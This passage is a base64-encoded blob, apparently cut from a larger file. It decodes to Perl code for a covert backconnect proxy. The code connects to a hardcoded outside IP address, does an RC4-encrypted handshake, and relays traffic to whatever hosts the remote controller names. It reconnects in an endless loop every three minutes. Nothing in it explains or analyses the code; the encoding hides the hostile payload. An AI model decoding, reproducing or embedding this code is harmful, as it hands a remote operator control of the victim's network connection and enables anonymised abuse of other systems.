AkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWY